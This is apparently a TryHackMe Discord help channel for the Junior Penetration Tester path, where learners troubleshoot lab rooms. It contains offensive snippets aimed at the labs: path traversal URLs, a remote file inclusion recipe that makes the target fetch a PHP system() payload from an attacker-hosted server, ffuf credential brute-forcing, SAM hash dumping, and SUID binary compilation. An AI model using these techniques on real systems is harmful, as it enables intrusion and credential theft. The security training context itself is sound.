junior-pentester-path

[next lance]

Gave +1 Rep to @neon geyser (current: #35 - 230)

[desert briar]

Hi all, im on the beginning of this path… im learning a lot of thing, but would like to do something for impront these concepts and not forget them. There is any easy machine/ctf Walkthrough? If yes what’s the name? Thanks

[prisma raptor]

Taking good notes. You can never underestimate how helpful that can be. There are lots of tools you can use such as Notion, CherryTree and others.

[muted moth]

I'm finishing up the jr pentester course and the privilege escalation exercises are getting to be a bit of a pain. Every time I flip between the attack box and the server (a new one each task, 9 total) it refreshes both and I'm waiting a while for them to reconnect and it clears everything in the server

Is this normal/to be expected? I'm almost done so I guess it's a sign to slow down a bit lol

[sharp vessel]

https://tryhackme.com/r/room/windowsprivesc20
this room at the end of the path uses wget in powershell a lot in examples. wget doesn't work on the provided machine, I don't have a normal windows OS to check with to see if it would normally, but it's not setup as a command or alias or anything. curl works just fine though.
not sure if the instance machines changed or what.
just pointing it out.

[tired monolith]

it does usually work, ig it's an alias to Invoke-WebRequest or smth.

try that and see if it works.

[sharp vessel]

OH
it's in powershell, I was still in cmd.

why does windows have two terminal apps with different commands?
why use powershell for that instead of just cmd?

[tired monolith]

cmd is not as powerful as powershell.
it's literally a power-shell lol.
powershell replaced cmd, cmd is just there as an option if you want to use it.

[sharp vessel]

that makes sense I guess.
I'm learning I need a windows install to mess around with

[obtuse scroll]

I use a Win7 VM for vulnerable things and debugging

[spark plover]

What are the free rooms that i can learn pen testing from beginning

[stark turtle]

https://tryhackme.com/r/resources/blog/free_path

[spark plover]

Thank you

[next lance]

Gave +1 Rep to @stark turtle (current: #578 - 8)

[clear night]

Hi everyone, I had a small doubt:

The Windows PrivEsc room(The last one).
I am doing the SeBackup/SeRestore part. The output of whoami /priv is :

Privilege Name                Description                    State
============================= ============================== ========
SeBackupPrivilege             Back up files and directories  Disabled
SeRestorePrivilege            Restore files and directories  Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

I am confused since the SeBackupPriv and SeResotorePriv are disabled...still I was I able to backup the sam and system hives

[willow cove]

Afternoon all.
Does the THM Attackbox not have the metasploit-framework/data/wordlists directory? I can't see to find it

[tepid flower]

check in /usr/share/wordlists ?

[fiery island]

I got stuck on this for over an hour, the issue was that the question read for lab6 but the answer was under lab5.php, vs lab6.php, made no sense to me but had to go online and look it up. SPOILER: ||http://10.10.188.88/lab5.php?file=....//....//....//....//etc/passwd||

[lament summit]

hello,
i am having a problem with task 8 of the file inclusion room, specifically the rfi for the playground. when i host my server with either apache2 or python, have the php file in the directory, and try to use the server to gain rce, it doesn't show me what i need to see even though i think i am doing it right.
i have used this url: http://thm-box/playground.php?file=http://my-server-ip/hostname.txt

[brazen remnant]

Hi, i'm having problem with task 5 and 6 in nmap basic port scan room. Run the the nmap command as the walkthrough is not showing any open port have 4 digit, is this bug?

[neon geyser]

Did you start the VM for task 5?

[brazen remnant]

I have tried on both VM and VPN.

[neon geyser]

I mean, Task 5 has a new target machine

[brazen remnant]

yep. I start the machine by click the button in task 5.

is each task have separate machine to spawn?

[neon geyser]

Task 4, 5 and 6 all have different target machines, yes.

[brazen remnant]

okay. I will try again.

[sacred bridge]

Am I the only one for whom the flag for Task 6 of the Content Discovery Room doesn’t work?

[remote iris]

Wdym?

[sacred bridge]

I found the flag but when I try to send it, it tells me that the flag is incorrect

[neon geyser]

What task/question? What is the flag you found?

[zealous trench]

Can anyone give me some pointers on how to start this pathway without paying? As of now I'm not going to subscribe, but I might change my mind later if I like the courses.

I am completely new to cybersecurity, but I am pretty adept with tech in general.

[prisma raptor]

Welcome to the platform. Learning paths do require a subscription unfortunately, but feel free to browse THM content as there are over 900 rooms, with ~60% of those being free.

[zealous trench]

ok, thanks!

[brave sentinel]

Sorry, late arrival!

On the Roadmap under Learn on THM, you can select "Free Roadmap" and do the rooms under "Penetration Tester" (towards the bottom of the map). Alternatively, you can also click on "View Path" from the THM website dashboard and try clicking into different rooms to see if they're available.

[native chasm]

I’m doing the junior pentester path to learn pentesting, I’ll take the other pentesting courses tryhackme has to offer, but is there anything else anyone would recommend me do?

[real geode]

dir

[lapis sparrow]

Hi. What's your goal? Are you focused mainly on pentesting ?

[brazen remnant]

Hi. Anyone have problem with some task required to use C code to get a root shell in Linux Privilege Escalation room? I always face to "GLIBC 2.34" not found. I'm not familiar with C.

[real geode]

hey all, i'm at the Windows Privilege Escalation room on task 6
at the step where i'm running python3.9 /opt/impacket/examples/secretsdump.py -sam share/sam.hive -system share/system.hive LOCAL
i'm getting this output
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[-] SAM hashes extraction failed: 'NoneType' object is not subscriptable
[*] Cleaning up...

Reading on the impacket tool says that they fixed the NoneType error
i have tried updating impacket and pipx,
anyone else run into this, am i missing a step or something?

[tepid furnace]

did you tried to use different exploit?

[brazen remnant]

No. I try following step by step in the task. Maybe moving to use bash script.

[tepid furnace]

which exact task do you struggle with?

[brazen remnant]

recently is privilege escalation via NFS. Task 11. I use chatGPT about compile C code. It give a idea to compile with -static flag to make sure the binary can run without depend on the library is missing or not on the target machine. But i'm not try.

[tepid furnace]

ah, then I can't help for now as didn't do that yet

[brazen remnant]

okay.

[tepid furnace]

ok, I have found how to do it. libc.so.6 file is outdated so we have to compile self-contained binary to not depent on this library:

1. install musl compiler
   sudo apt install musl-tools
2. compile stanalone binary
   sudo musl-gcc -static -o nfs nfs.c

sudo chmod +s nfs

Now you should be able to run this file on the target machine

[next lance]

Gave +1 Rep to @tepid furnace (current: #2358 - 1)

[brazen remnant]

Thanks. But u don't need to write it in detail. Just give me an idea. Try and research by myself is the best practice.

[tepid furnace]

You are right, I have a habit from work where I have to describe everything in detailed 😅
Will have that in mind in the future

[modest arch]

In the Linux Priv Escalation final challenge is there another way to escalate privilege other than the SUID? I spent a good amount of time trying to exploit the PATH variable but failed. Very curious

[plain hearth]

Hi everyone, I solved the File Inclusion Task 8 RFI challenge as follows:

1. Created a page.php file with the content:
   ||```php
   <?php system('hostname'); ?>

2. Started a Python HTTP server:
```bash
python -m http.server 80

3. Accessed the vulnerable URL:

http://MACHINE_IP/playground.php?file=http://ATTACK_IP/page.php

What do you think of this solution? Thanks

[prisma raptor]

Have you figured this out?

[lethal peak]

https://tryhackme.com/r/resources/blog/free_path

[plush dock]

Ey

[teal burrow]

Finally completed this entire path.

[violet brook]

Congrats buddy , great job 😄

[teal burrow]

Thank you kind sir

[next lance]

Gave +1 Rep to @violet brook (current: #12 - 715)

[indigo bear]

Hey all. I'm currently working on the Windows Privilege Escalation room, on Task 6 - Abusing dangerous priviliges. I go to Start Machine, but it doesn't spawn a Windows machine. I tried to RDP using the AttackBox, but it's asking for a login key ring. 😦 Unless I'm doing something wrong?

[remote iris]

just hit cancel.

[indigo bear]

omg 😦 Thanks!!!

[next lance]

Gave +1 Rep to @remote iris (current: #1 - 3072)

[crystal current]

Hola alguien que hable español?

Has anyone here been able to get a job doing the junior pestenting course?

[deft rain]

Just to let you know buddy, that won't get you a job. The Junior Pentester Pathway provided by Tryhackme is to make you understand what is involved in pentesting like fundamentals for pentesting. There is more to it but what is included in the pathway needs to be learned before you start your journey to pentesting

So it is essential for your knowledge and skills

But for more advice on that check #cyber-and-careers

[crystal current]

thanks!

[plain hearth]

Linux Privilege Escalation - Task 6 - Why do I see that Karen cannot run commands with sudo privileges when I run sudo -l?
$ hostname wade7363 $ uname -a Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ whoami karen $ id uid=1001(karen) gid=1001(karen) groups=1001(karen) $ sudo -l [sudo] password for karen: Sorry, user karen may not run sudo on wade7363.

[plain hearth]

I’m sorry for the question, I’ve solved it. Unfortunately, I didn’t shut down the virtual machine from the previous task, and I didn’t start the one for Task 6. It was a mistake caused by distraction.

[lost lily]

Hi everyone, im having issues completing the room File Inclusion, i got to the last part but struggled. im planning on starting over from the beginning, but is there another room that i should maybe take a look at that might help me finish the file inclusion room?

[violet brook]

That room is really good for beginning 🙂 . Which part causes the confusion 😄 ?

[lost lily]

@violet brook on task 8 first flag, the whole "The input form is broken! You need to send POST request with file parameter!" had me confused. But i just realized that theres a link on HTTP web basics that i totally ignored like a dummy before posting here.

[violet brook]

You can change request method in Burp by right clicking on request > change request method 🙂

[lost lily]

Yeah i saw that in the hint, but i remember learning about burp in another room, there wasnt much info about burp in the file inclusion room (aside from what is says on task 8 step 4 ). which is why i was wondering if there were other rooms that maybe i should go over again. I apologize if theres something i missed

[violet brook]

You're doing great 🙂 . If you need any help in the future or you have any further questions now feel free to drop a message here 🙂

[lost lily]

Perfect! thank you

[devout ermine]

Hey guys,
Can someone help me out with an error i am facing with ffuf in one of the rooms for this path?

Getting the following error when i try hitting the command -

user@ashen moss$ ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.210.174/customers/signup -mr "username already exists"

Error -

: Progress: [494/10164] :: Job [1/1] :: 5 req/sec :: Duration: [0:01:48] :: Error

[vale cobalt]

Hi, I would like to ask for help walking the application under the Jr Pentester course on the flag related to viewing the page source. Particularly on how to get the hidden files.

[remote iris]

Which task?

[prisma raptor]

Have you tried reconnecting your OpenVPN? 5 req/sec seems slow and could be indicative of connection-related issue.

[vale cobalt]

Task 3

[devout ermine]

No, i dont see an option to do this anywhere. Any suggestions on how i can try this out ?

[prisma raptor]

How are you accessing the THM network currently - OpenVPN or Attackbox?

[devout ermine]

Attackbox

[prisma raptor]

If its the Attackbox, you don't need to connect to THM OpenVPN. However, it is odd that the number of req/sec is only 5.

[devout ermine]

user@machine$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://MACHINE_IP -fs {size}

None of the ffuf commands work for me. It started with this^ command, where it works if i dont specify the size of the results .

[prisma raptor]

Did you click on the green Start Machine button and replace the machine_ip with the target IP address?

[true orbit]

for the Subdomain Enumeration room, I keep getting an error saying my answer is incorrect, not sure what is up but that is the answer that I come up with.

[violet brook]

domain beginning with S 🙂

[devout ermine]

Yes i had done this

[devout ermine]

getting an increased no of requests per min now but still errored response -
Progress: [1907/1907] :: Job [1/1] :: 157 req/sec :: Duration: [0:00:12] :: Errors: 0 ::

This is the command i ran -
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport/thm" -u http://10.10.203.71 -fs 472

[violet brook]

.thm not /thm 🙂

[devout ermine]

Ah sorry, but its the same issue when i try with .thm as well :/

[brave sentinel]

(moved to room help)

[violet brook]

Are you sure this is the correct file size 🙂 ?

[modest arch]

Hi, I'm having some trouble in the Authentication Bypass room. I created a new folder on desktop with mkdir, moved to the folder and created a users.txt file and entered the users from previous room, using echo command, however when I enter the provided command: ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.181.152/customers/login -fc 200 I don't receive the user and password. And I changed the name of my txt file

[violet brook]

Can you provide a screenshot ?

[modest arch]

this is what I get, not sure if I should send an ss with previous commands since the users will show

[violet brook]

Can you use cat on a wordlist 🙂

[modest arch]

hmm this is odd... I can't see the file now

I just used the the cat command earlier and it worked

and now it can't find the file

[violet brook]

Type ls in your dir 🙂

[modest arch]

yes I did that, sorry my bad it works now

[violet brook]

Glad to hear that , keep up the good work 😄

[modest arch]

I forgot I renamed the txt file to valid_users

let me try again the ffuf command

I had the same issue last night but when used echo command forgot to insert the names ina string

[violet brook]

Is everything ok now 😉 ?

[modest arch]

the window atack box is unresponsive (?) I think I might have to restart the machine, will keep you posted

[violet brook]

Ok 🙂

[modest arch]

hmm...yes, I get the same error, created the folder again and when I use cat valid_usernames.txt, the names are displayed

[violet brook]

Can you tell me which task is this ?

[modest arch]

is the brute force task

what is the valid username and password (format: username/password)

[violet brook]

Are you sure that your IP is correct ?

[modest arch]

I also noticed this

[modest arch]

yes I checked

[modest arch]

it went back to normal after refreshing the page sorry abou that :)

[violet brook]

Can you provide a ss of your list ?

[modest arch]

the txt file with the names?

[violet brook]

YEs

[modest arch]

after executing cat?

[violet brook]

Yes

[violet brook]

Can you try to type in new line

Like one below the other

[modest arch]

will do, how do I do that with echo? thes the /n work?

[violet brook]

Well , yeah just press enter after each one to put them in line below , make sure there's no extra spaces after the word 🙂

[modest arch]

yeah faster like this :) one sec

[modest arch]

it worked

[violet brook]

Glad to hear that 🙂

[modest arch]

thank you! :D

[next lance]

Gave +1 Rep to @violet brook (current: #3 - 2144)

[modest arch]

new line makes a difference

should i delete the previous ss?

[violet brook]

No need for that , it will stay for users that will have similar/same problem in the future 🙂

[modest arch]

thanks again, should have thought to put them on separate lines 😩

[violet brook]

You have found the correct username , but formatting was bad in .txt file 😄 . If you put them all in one line the request would look like :
simon steve robert admin : password
We don't want that, so we changed the format and put each in separate line , so now requests will look like :
simon : password
steve : password
robert : password
admin : password
🙂

[modest arch]

yes, makes sense like this :D will keep this in mind

[violet brook]

You're doing great , keep up the good work 😄

[modest arch]

Thank you :) have a good one

[next lance]

Gave +1 Rep to @violet brook (current: #3 - 2145)

[frank pilot]

Hey

[pulsar wadi]

FI_LAB{RCE}

[viral aurora]

how to make hte terminal to look like this

[violet brook]

Looks good , what's the problem here 🙂 ?

[violet brook]

Go to Appearance settings 🙂

[viral aurora]

thanks, you are an amazing AI bot

[next lance]

Gave +1 Rep to @violet brook (current: #2 - 2316)

[violet brook]

I'm real 😢

[viral aurora]

it is hard to believe tbh

[pulsar wadi]

Thanks, everything is okey 🙂

[next lance]

Gave +1 Rep to @violet brook (current: #2 - 2319)

[acoustic night]

Hmmm... This path seems intresting

[viral aurora]

and it is

[acoustic night]

May i enroll, and uncover some dirty secrets about it

[viral aurora]

you should it is very informative and I think it is a good step if you want to be in red teaming

[acoustic night]

Ofc, thats what im intrested in, but im far from the basics

[viral aurora]

what path are you studying now?

[acoustic night]

Just finished it, had some knowlege before so, some of em was easy some of em hard

[viral aurora]

you can see writeups on medium or YouTube videos for paid rooms

[acoustic night]

I figured that, if i was stuck i did my research on those platforms.. Quession is which one i should enroll tomorrow

[viral aurora]

yeah this is good, but I am talking about the paid rooms to complete a path with paid rooms

[acoustic night]

I take that advise for sure! Thank u!

[spring flame]

I’m having trouble fully wrapping my head around SQL injections, I wonder if I should just learn more SQL basics

How exactly does UNION in SQL work

[violet brook]

Definitely , you even have a room on THM that teaches that , check it out 🙂
https://tryhackme.com/room/sqlfundamentals

[spring flame]

Oh yes I completed that one 😄

[violet brook]

You can also check freeCodeCamp on YT to learn more about sql 🙂

[steel fog]

Hey guys anyone with an idea of how to poison the auth.log server with php script on web server with ssh I’m having difficulties with that

[violet brook]

Which room ?

[steel fog]

Not in the Junior path it’s Include challenge room

[undone flicker]

Hi, I'm doing Burp Suite Intruder. The problem is, how do I use a simple list? Is it only for the Pro version?

[violet brook]

Which task ?

[undone flicker]

task 12 extra mile

[blissful crow]

I'm having trouble with Authentication Bypass Brute Force Task. I put in the command as shown but no output

[violet brook]

Can you use cat valid_usernames.txt

[blissful crow]

This is what the file looks like in pluma. I just used > in the last task

[violet brook]

Oh , edit that

seems like you have some whitecharacters

Remove spaces and new lines

[blissful crow]

When I do that and run the paasword command it says Progress: [100/100] but when I don't it's Progress: [400/400] and since it's top 100 passwords I think it's supposed to be 400. So I'm not sure that's the problem

[violet brook]

Can you cat the password list ?

[violet brook]

Can you get the users file again

[blissful crow]

When I get rid of the spaces the cat just come blank

[violet brook]

Delete your old list and open sublime on AttackBox

[blissful crow]

This is what happened when I get rid of the status filter on the password command

[violet brook]

I think we have wrong formatting in users file 🙂

Can you open it using sublime

[blissful crow]

This is it in Sublime

[violet brook]

Delete those white characters before username

[blissful crow]

I removed those characters in sublime now the output looks like this

[violet brook]

Provide ss of the list

Just to make sure

[blissful crow]

Provide ss?

[violet brook]

screenshot

[violet brook]

Looks good

Can you provide your current command here

[blissful crow]

ok I got it working

[violet brook]

Great job 🙂 🚀

[sullen sinew]

Just wondering, if I am following this path (I know it's not enough to get me fully become pro in this field). What I am wondering is if I am planning to do easy rooms on the website, where I least need to be on this path?

Do I need least finish Web Fundamentals? But isn't that still havent taught me much about hacking

[violet brook]

Don't do Complete Beginner . It's a bit outdated and it has been replaced by Cyber 101 , do it instead of Complete Beginner 🙂 . When you finish it , you can start with some easier/guided CTFs 🙂 .
https://tryhackme.com/path/outline/cybersecurity101

[sullen sinew]

So I was following this last week, you suggest continue this one instead another one?

[violet brook]

Yes, exactly 🙂

[sullen sinew]

Okay, thanks

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 3421)

[sullen sinew]

So by the time I finishes 101, I pretty much can do some easy rooms?

[violet brook]

Yes , I would recommend something like this for the beginning 🙂
https://tryhackme.com/room/basicpentestingjt

[sullen sinew]

Cool thanks again

[violet brook]

Also if you're looking to start with CTFs , try to avoid some with riddles , steganography and suchlike for the beginning . Try to do some more realistic ones . Even if some are labeled as easy ,they're also full of some rabbit holes which can be pretty frustrating/confusing if you're beginner 🙂 .

[sullen sinew]

I have been in the field tech a while now, so I understand how it kind works, but I will keep that in mind as I go.

[sullen sinew]

@heavy night ⬆️

@ember yarrow sorry for double ping but above is scam

in every channel 💀

[honest totem]

Hello, I want to ask how to switch to the room view. I have never seen it like this.

[violet brook]

You can find roadmap on the link below
https://tryhackme.com/hacktivities/

[paper cosmos]

I saw in the challenge room like the lookup room and some others it seems to have bugs because in the lookup room when i use metasploit the right way very simple like in the walkthrough it doesn't work. Sometimes it get annoying when i cannot finish the room.

[honest totem]

this is mine，，

[violet brook]

Yeah that's how it looks like

[honest totem]

But it shows the specific room, I want to know if it will be shown after the above path is completed🤔

[violet brook]

You can search for the room on the link below
https://tryhackme.com/hacktivities/search?page=1

[honest totem]

emmm i think you misunderstand what I mean. I mean his roadmap shows the rooms owned by each path, but what I see is just the name of a path.😂

[violet brook]

Which path are you interested in ?

[obtuse stone]

Just completed the Linux Privesc Capstone without needing to look at a write-up... Feeling pretty proud of myself 😄

[violet brook]

Congrats , great job 🙂 🚀

[honest totem]

pentest path

[violet brook]

Here it is 🙂
https://tryhackme.com/path/outline/jrpenetrationtester

[honest totem]

i just wanna ask how can i get this page😂 my page is not like this hh

[violet brook]

Click on the link above

[honest totem]

click where?

[violet brook]

https://tryhackme.com/path/outline/jrpenetrationtester

on this link

[honest totem]

yes this is my look

[violet brook]

Click on enroll in path

[honest totem]

yes?

[violet brook]

Here's your list of rooms , select room that you want from that list and that's it 🙂

[honest totem]

yes i know your mean，but this guy look like this，i just want to know how to get the style like this
https://cdn.discordapp.com/attachments/900054524373397574/1333959461441896528/Screenshot_20250129_013824_com_android_chrome_ChromeTabbedActivity.jpg?ex=67be628f&is=67bd110f&hm=3ec43a3ac1ed3b40c52e74aaf9a2137b65104416160a2f20b247d7a881bcc052&

[honest totem]

😹

[violet brook]

That's a free roadmap

here's the full map

[honest totem]

oh

[violet brook]

You can't see this if you're premium user

[honest totem]

😂 ok iknow

[violet brook]

Thanks @abstract pilot for sharing the map 🙂

[next lance]

Gave +1 Rep to @abstract pilot (current: #363 - 17)

[abstract pilot]

https://tenor.com/view/sherlock-benedict-cumberbatch-hat-tip-greetings-smile-gif-4268618

[errant glen]

Please can anyone teach me how to bypass play protect antivirus

[paper cosmos]

why on the machine in the challenge room "brute it" , ssh2john: command not found ? I wrote the right syntax. it's not the first time it happen to me

[violet brook]

Check out in /opt directory

[paper cosmos]

yes i took a look ok and what's next ? what do you want me to do ?

[violet brook]

Check /opt/john dir , ssh2john.py should be there

[paper cosmos]

yes i saw it

[violet brook]

Use it then 🙂

[paper cosmos]

yes now i do ssh2john.py id_rsa > hash and it still says the same thing

[violet brook]

What does it say ?

[paper cosmos]

ssh2john.py: command not found

[violet brook]

python3 /opt/john/ssh2john.py id_rsa > hash

[paper cosmos]

ok thanks it worked, i would have not guessed alone try hack me did not warned me for this one and one internet nobody were saying that

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 3673)

[oak bronze]

Hi everyone I'm having some troubles with this

[prisma raptor]

If you look at the URL, you'll see something unusual

[craggy smelt]

Hello guys, sorry i just have a little question... when we are in some room on thm, how can we determine the value of MACHINE_IP? some moment i have the really value of ip address but generally i have MACHINE_IP. It's why i don't have always the great response

[prisma raptor]

You'll need to click on the green Start Machine button associated with the task you are working on.

Depending on the target machine, it can spin up in ~2 to 5 mins.

[craggy smelt]

yes i have done it but i have the same thing

[jaunty arrow]

man i just finished beginner yesterday, now im on the pentester route😂

[violet brook]

Congrats , great job 🙂 🚀 . Keep up the good work 💪

[prisma raptor]

Which room are you on? There are rooms that have multiple target VMs attached.

[craggy smelt]

yesss, thanks i have found the solution

[next lance]

Gave +1 Rep to @prisma raptor (current: #12 - 774)

[paper cosmos]

Hi does anyone know what's the easiest "hard" ctf challenge room ? i completed pentester junior since a while and did some challenge room level easy and medium.

[violet brook]

Stick with easier rooms for now 🙂

[wheat compass]

for the room /fileinc

Task 8 (Challenge) question 3: capture flag3. I am capturing my traffic with burpsuite and changed the method to post. In burpsuite I change the file variable to ../../../etc/flag3%00 but the nullbyte at the end does not seem to work (the error says that ../../../etc/flag3%00.php does not exist. I followed a few walkthroughs and this is the exact method that they use. Am I doing something wrong or is there a bug in the room?

for now I will just have to copy the flag from the internet since I believe that I am not doing anything wrong 😦 but I would love to know what is the problem here

[violet brook]

How did you change method to POST ?

[honest totem]

Does anyone know where the server address of tryhackme's servers is? I want to buy a vps close to the it.

[violet brook]

Infrastructure is cloud based which means it's distributed. You can choose VPN server based on your location on access page 🙂

[honest totem]

Yes, but I also have a lot of latency using openvpn on my computer

so i want to buy a vps close to it

[prisma raptor]

Even if you do, won't you still have the latency for the connection between the VPS and your device?

[honest totem]

but it maybe will shorter than before(?

my friend do this, and he is😂

[prisma raptor]

Depends on your ISP I guess. I imagine it would be marginal though (assuming you are selecting the closest THM OpenVPN server as @violet brook said).

[honest totem]

yes i mean select a vps close to it,and use the closest THM openvpn

[prisma raptor]

Are you already using the VIP THM OpenVPN server?

[wheat compass]

In the form with inspect element. This works because the . and / is not filtered out anymore

[violet brook]

Intercept request in burp > right click on the interceptes request > change request method

[wheat compass]

I did that

[paper cosmos]

Hi, i finished junior-pentester-path 1 month ago and since then did one challenge room per day on average, mostly easy ones with some medium, i looked at walkthrough often, and now i take the habit of ctf and get used to the methodology but still, need walkthrough sometimes to not waste my time.
Do you think i could start working in a company with an entry-level job in the field ? Like a pentester junior like it is wrote on try hack me? Or at least to be in a team working with pentesters and learning before i do the job myself alone?
Btw I would like a remote job, for me it’s important.
What do you think about that ?

[prisma raptor]

Suggest to post this on #cyber-and-careers to get more traction.

[paper cosmos]

Your right

[honest totem]

Yes, I am a subscriber now

[prisma raptor]

Which THM OpenVPN server are you using?

[honest totem]

i use the EU-VIP-2

[prisma raptor]

Still not happy with the connection speed? 😅 If you don't mind, are you somewhere within the EU or the US?

[honest totem]

No, my country has a firewall policy..... that's why the latency is so high😢

Today may be better, now i use EU-VIP-2 and choose a U.K. node vpn, now my latency Stable at around 280ms🤓

[prisma raptor]

Oohh.. I understand the challenge or frustration now...

[honest totem]

yes...

[paper cosmos]

does anybody know why the ctf machine are not starting on try hack me it always said "an error occured"

[prisma raptor]

It seems there was an issue earlier today, but it is resolved now.

[violet brook]

Try to refresh the page when that happens

[paper cosmos]

yes that's what i was doing but it was really on thm website the problem. Now it's over it's good

[paper cosmos]

Btw, you what do you think about my message earlier yesterday about getting a job as a begginer. Because i did not got ay response in the cyber-and-careers channels either. It seems hard to start with a job with no experience and the practical certifications seems to be only for advanced hacker.

[violet brook]

Try to re-send your message in #cyber-and-careers. I don't feel competent to give career advice 🙂

[jaunty arrow]

Pentester path has me nervous, I just seen like 4 capstone challenges. I thought it was just to teach you, but there are capstone challenges and a ctf in this path. And im half way into this path im considering if I should just take a break or keep going but the capstone is going to be a struggle

[violet brook]

Capstone is a final challenge and it defintely isn't easy

[honest totem]

Where is capstone challenges link

[violet brook]

Here 🙂
https://tryhackme.com/room/redteamcapstonechallenge

[limpid lagoon]

hey does someone got the ejpt notes? I need them, you feel free to send here or DM

[ember adder]

In the room Nmap: post port scans, I am unable to solve task 4; NSE. Question 3. I have a service listening on port 53. And I'm asked to supply the full version value but what I got from running the nmap seems incorrect. I got the version dnsmasq-2.90. Does anyone know what I'm doing wrong

[violet brook]

Can you please verify and provide a screenshot 🙂 ?

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

[violet brook]

Start the machine first , go to top of the task and press green Start machine button

[ember adder]

After starting the machine. I typed this command nmap -sC 10.10.102.207 (which is my machineIP) and I got dnsmasq-2.90

[violet brook]

That's your AttackBox probably , as far as i can see you haven't even started target machine at all

[violet brook]

Provide shot of scan

[violet brook]

Specify port 53

nmap -sC -sV <ip> -p53

[violet brook]

Try to restart machine , make sure to start new machine directly from task 4

[ember adder]

@violet brook from my last scan. The port is not open

[violet brook]

allow 10min for macine to bootup

[ember adder]

Okay. It solved now

Thank you so much for your help and patience

[violet brook]

anytime 🙂

[obtuse halo]

Hi Korny,
I have the same issue and I've tested maybe 4 hours yesterday evening.
I tried maybe most of the solutions on medium and also the ones here inside discord.
Burp, curl etc.
It's not working.
I have no idea what's going on.
Chall1 and 2 fine.
But 3 is not working anymore. You're not getting even a path back after switching to POST.
Only with get, but there you can try what ever you want. . and / are removed.
I even tried to run the POST with base64 link. Also not working...
Today, last 30 minutes => samesame. I thought, maybe I made some issues yesterday due to fatigue...

[wheat compass]

Thanks for the reply! I completely forgot about it. Nice to know that it's (probably) not my fault. I guess we have to file a bug report for this then

[next lance]

Gave +1 Rep to @obtuse halo (current: #2756 - 1)

[violet brook]

Room works fine I can confirm that 🙂

[spare raptor]

i am not able to run this netcat code?

can anyone help me

[violet brook]

Command is running properly

[spare raptor]

but its over 5 min not even get anything

[violet brook]

This is just listener it waits for an incoming connection . You need to trigger it from somewhere

[spare raptor]

how can i plzz help me

[violet brook]

which room ?

[spare raptor]

task 8

[spare raptor]

plzz check

[violet brook]

What are you trying to do ?

What is the question ?

[spare raptor]

i am not getting this output as mentioned in the room

[violet brook]

You're getting exactly that

[spare raptor]

no not getting

[violet brook]

Yes , you're . You started your listener

[spare raptor]

yes, i got it thanks

[swift lagoon]

Hi, I got a problem with in the linux privilege escalation room on task 9 cronjobs. It seems like the cronjobs are not running. I have rebooted the attached VM several times. Does anyone experience the same issue?

[violet brook]

Have you added +x permission to backup.sh script ?

[swift lagoon]

😄 thank you man, so simple im blind

[violet brook]

Everything ok now 🙂 ?

[meager cedar]

Just going through the JrPentester path on THM. I had some trouble in the What the Shell room one one question in a task. It wanted me to try nc and socat between windows machine and the attackbox. I figured the solution is to upload precompiled static binaries to the windows machine so that I'd be able to use socat/nc on it. Is it just me, or is it very hard to actually find these for windows?

[violet brook]

It shouldn't be , I think that both of those binaries should be available on GitHub 🙂

[meager cedar]

They were actually installed already lol @violet brook, just had to find where

[violet brook]

So , everything is ok now 🙂 ?

[meager cedar]

All good!!

[violet brook]

Glad to hear that , keep up the good work 🙂

[meager cedar]

Just finished Billing room too 🙂

[violet brook]

Congrats 🙂 🚀 🔥

[dusty coyote]

link in file inclusion room, not opening

502 gateway error message

[prisma raptor]

Which task?

[dusty coyote]

solved

how do i solve my machine IP not showing, after lauching attack box

[prisma raptor]

Are you referring to the target or the attackbox?

[dusty coyote]

i can't upload images
i meant this http://MACHINE_IP/support/login

after lauching the attack box, i still don't get my machine ip

[prisma raptor]

you'll need to verify your account to post screenshots or images

[ashen moss]

@dusty coyote

Discord: How Do I Verify My TryHackMe Account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Apr 4, 2025, 8:09 AM

[prisma raptor]

The attackbox and the target machine are two separate machines.

[dusty coyote]

this is the issue i am facing, no machine ip for me
@prisma raptor

[remote iris]

Scroll to the top.

[remote iris]

open Task 1 and click start machine.

[dusty coyote]

done

okay issue solved, thanks

[hardy bison]

Hi! Currently finishing the privilege escalation module and i wanted to know if any of the people that already finished the path could suggest some challenge rooms at this level to get some hands on practice. Thank you!

[violet brook]

This one definitely + it has a video walkthrough if you get stuck 🙂
https://tryhackme.com/room/basicpentestingjt

[hardy bison]

thank you so much, it's perfect

[honest totem]

Why is the screen black when I use my vps to connect to the room's rdp?

I use windterm

[prisma raptor]

Which room are you working on?

[honest totem]

I found the reason. It was due to the regional firewall restriction. In fact, the echo was displayed but the speed was very slow.

..oh god damn it firewall restriction

[honest totem]

I completed the Linux privilege escalation room. Are there any other challenges or room recommendations that I can use to continue practicing this skill?

[violet brook]

You want challenge or walkthrough ?

[honest totem]

Challenge, i want to challenge the machine.

[violet brook]

Try this one 🙂
https://tryhackme.com/room/smol

[honest totem]

thank you!

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 4488)

[fierce forge]

Hi, im having Problems with the File Inclousions room. I Modefied the Request just as Statet to POST and gave a File Parameter and cant seem to get a Output not even a Error Message

Can Someone point me a hint where im going wrong here?

[violet brook]

Try to use Burp to change the method

[fierce forge]

I did but also no result to really work of

[prisma raptor]

Try to add the file=.... as part of the URL or request parameter and not as a payload.

[fierce forge]

hmm maybe im borderline stupid but even then i dont seem to get it to work with "/challenges/chall1.php?file=../../../../etc/flag1"

as the Post request

